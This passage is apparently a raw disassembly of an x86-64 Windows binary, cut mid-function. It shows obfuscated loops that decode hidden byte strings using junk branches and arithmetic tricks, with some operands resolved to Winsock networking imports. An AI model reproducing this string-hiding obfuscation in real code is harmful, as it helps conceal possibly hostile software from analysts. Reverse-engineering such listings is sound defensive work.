and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1a
jmp 0x140047322
lea rdx, [rbp + 0x1732978]
jmp 0x1400479a2
lea rdx, [rbp + 0x1466faa]
jmp 0x1400479a2
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x178]
call fcn.1400432c0
mov rsi, rax
mov dword [rbp + 0xd0], 0xc1c3c6c0
mov word [rbp + 0xd4], 0xc2c6
mov byte [rbp + 0xd6], 0xb6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd7], xmm0
mov qword [rbp + 0xe7], rax
movabs r14, 0x80c58ae99a188c98
movabs r12, 0x83dbb690027abef8
movabs r15, 0x8250a0bcce49a5c8
movzx edi, byte [rsp + 0x20]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1f
jae 0x1400484bb
movzx r10d, byte [rbp + r11 + 0xd0]
mov rdx, r10
nop word [rax + rax]
cmp rbx, r11
ja 0x1400484b2
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140047a5c
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0x28
jmp 0x140047a90
je 0x140048441
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400483e0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048388
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140048360
nop dword [rax]
cmp r8, r11
ja 0x1400484a9
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140047aba
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140047b00
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140048315
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400482f4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400482d1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400482b2
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140048285
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004800e
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140047fef
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140047fc8
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140047fa3
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004809e
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140047f88
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140047f69
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140047f4a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140047f2f
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140047efe
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140047b10
mov rbx, rax
lea r8, [rax + 0x80]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14004848c
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14004846c
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140047cf0
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140047cd5
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140047cb6
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140047eb1
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140047e70
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140047e29
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140047dff
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140047b10
lea rbx, [r8 + 1]
lea r8, [rbx + 1]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140047dce
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140047db3
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140047d94
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140047d75
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140047d5d
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140047d3e
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140047d19
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140047d0b
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140047b10
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x20]
jmp 0x140047b10
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047b00
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140047a90
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x140047a27
lea edx, [r11 - 0x70]
mov ecx, 8
jmp 0x140048369
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140047a14
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
movzx r9d, r11b
jmp 0x1400483a2
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx edi, r11b
sub dil, cl
add dil, r10b
jmp 0x1400483c4
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400483c7
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
movzx r9d, r11b
jmp 0x140048252
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x1400483fa
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140047a14
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rbp + r11 + 0xd0], dil
inc r11
jmp 0x140047a14
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x200
jb 0x140047e19
movzx r9d, r11b
lea ecx, [r9 - 0x70]
movzx eax, cl
and al, r10b
mov edx, 8
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140048333
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
cmp rbx, 0x80
jae 0x14004820c
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x140048156
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
jmp 0x140047e38
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
lea rax, [r8 + rbx]
cmp rax, 6
je 0x140048237
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x1400480bd
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047e86
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140047a14
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x1400483fa
movzx r9d, r11b
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140048252
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400483c7
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x1400483c4
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140047a14
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x140047a14
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
movzx r9d, r11b
jmp 0x140048333
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x140048032
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140047ec7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004806c
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140047a14
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048091
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400483f7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140047ec7
movzx r9d, r11b
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x1400483a2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400480d8
movzx r9d, r11b
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140048322
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048102
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
dec r11
inc r11
jmp 0x140047a14
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140048126
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x1400483c4
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140047e86
movzx r9d, r11b
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140048252
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004818c
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140047a14
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400481b8
movzx r9d, r11b
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140048252
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400481dc
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x1400483c7
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140047e43
movzx r9d, r11b
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400483a2
movzx r9d, r11b
lea edx, [r9 - 0x40]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 + 0xd0]
sub dil, al
sub dil, 0x40
add dil, dl
add dil, r10b
jmp 0x1400483a2
movzx r9d, r11b
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x78
movzx eax, r10b
and al, r9b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xd0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x1400483fa
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140047a14
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400483c4
movzx r9d, r11b
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400483a2
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
dec r11
inc r11
jmp 0x140047a14
movzx r9d, r11b
lea edx, [r9 - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x28
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, r9b
mov byte [rbp + r11 + 0xd0], r10b
inc r8
dec r11
inc r11
jmp 0x140047a14
lea edx, [r11 + 0x18]
mov ecx, 0x2c
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140047a14
movzx r9d, r11b
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
add r9b, 0x58
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x68
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0xd0], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140047a14
lea rcx, [r11 + r12]
movzx r10d, dl
and dl, cl
mov eax, 0x1c
sub al, dl
lea edi, [rax + rax]
add dil, cl
add dil, r10b
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0xd0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140047a14
lea rcx, [r11 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0xd0]
add rax, r8
add r11, rax
inc r11
jmp 0x140047a14
sub r11b, 8
movzx eax, r11b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x140047a11
sub r11b, 0x38
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x78
jmp 0x140047a01
lea rdx, [rbp + 0x17e76f0]
jmp 0x1400484c2
lea rdx, [rbp + 0x1170388]
jmp 0x1400484c2
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x198]
call fcn.1400432c0
nop
mov rdx, rsi
mov rcx, rax
call fcn.140044e80
lea rax, [rbp + 0x1b8]
mov qword [rbp + 0xf0], rax
mov dword [rbp - 0x60], 0x80b084a5
mov dword [rbp - 0x5c], 0x945a9296
mov word [rbp - 0x58], 0x9686
mov byte [rbp - 0x56], ntohs
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x55], xmm0
mov word [rbp - 0x45], ax
movabs rsi, 0xbe97918fa80124ad
movabs r14, 0xb3541e0ce80a4a15
movabs r12, 0x3624faed980800bb
movabs r15, 0x3bc6b4aef8036e07
movzx edi, byte [rsp + 0x20]
nop word [rax + rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1d
jae 0x14004910e
movzx r9d, byte [rbp + r11 - 0x60]
mov rdx, r9
cmp rbx, r11
ja 0x140049105
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140048592
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x45
jmp 0x1400485d0
je 0x14004909a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004901a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048fed
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140048fcb
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140048f83
nop dword [rax]
cmp r8, r11
ja 0x1400490fc
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x1400485fd
lea ecx, [r11 + 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
jmp 0x140048640
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140048f66
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140048f44
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048eff
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140048ee0
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140048eb5
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140048bb2
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140048b93
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140048b6b
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140048b4a
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140048b27
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048b09
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140048aea
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140048acf
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140048ab0
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140048a86
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140048650
lea rbx, [r8 + 2]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400490df
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400490c2
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14004883d
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140048822
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140048807
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140048a34
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400489e8
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400489a7
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140048984
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140048650
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14004895a
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14004893f
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140048920
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140048905
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400488e3
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400488c4
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14004889f
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14004887b
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140048858
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140048650
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x80]
jmp 0x140048650
lea ecx, [r11 - 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x77
jmp 0x140048640
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
jmp 0x1400485d0
lea ecx, [r11 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x63
jmp 0x140048563
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r10d, r11b
jmp 0x140048fa1
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
inc r8
dec r11
inc r11
jmp 0x140048553
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x140048553
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
movzx r10d, r11b
jmp 0x140048f1d
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140049001
lea ecx, [r11 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x140049001
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140049034
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
jmp 0x140049059
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048553
lea ecx, [r11 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
mov byte [rbp + r11 - 0x60], dil
inc r11
jmp 0x140048553
lea ecx, [r11 - 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x15
cmp r8, 9
jb 0x14004899a
movzx r10d, r11b
lea edx, [r10 - 0x12]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 4]
jmp 0x140048fa1
lea ecx, [r11 - 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x75
cmp rbx, 0x200
jae 0x140048e70
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x140048d6b
lea edx, [r11 + 0x6a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400489bd
lea ecx, [r11 + 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
inc dil
lea rax, [r8 + rbx]
cmp rax, 1
je 0x140048e91
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x140048c8e
lea edx, [r11 + 0x39]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x71
add dil, dl
jmp 0x1400489fe
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048553
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140049059
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
jmp 0x140049034
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140049001
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
add rbx, r8
jmp 0x140049001
movzx r10d, r11b
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140048f1d
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
dec r11
inc r11
jmp 0x140048553
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140048553
movzx r10d, r11b
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x140048fa1
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140048bd9
lea ecx, [r11 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
jmp 0x140048a49
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140048c10
lea edx, [r11 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048553
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048c38
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140049034
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140048c61
movzx r10d, r11b
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140048f1a
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140048a49
movzx r10d, r11b
lea edx, [r10 + 0x32]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5e
jmp 0x140048f9e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140048cb7
movzx r10d, r11b
lea edx, [r10 - 0x6d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 5
jmp 0x140048f9e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048ce2
lea ecx, [r11 + 0x47]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0xf
dec r11
inc r11
jmp 0x140048553
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140048d0b
movzx r10d, r11b
lea edx, [r10 - 0x5f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x67
jmp 0x140048f1a
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140048d33
lea edx, [r11 - 0x51]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x37
add dil, dl
jmp 0x140049034
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400489fe
lea ecx, [r11 + 0x63]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x4b
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048553
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140048d9f
lea ecx, [r11 - 0x3c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5c
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048553
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140048dc7
lea edx, [r11 + 0x78]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x48
add dil, dl
jmp 0x140049034
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140048def
lea ecx, [r11 + 0x2c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x34
add rbx, r8
jmp 0x140049001
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140048e18
movzx r10d, r11b
lea edx, [r10 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
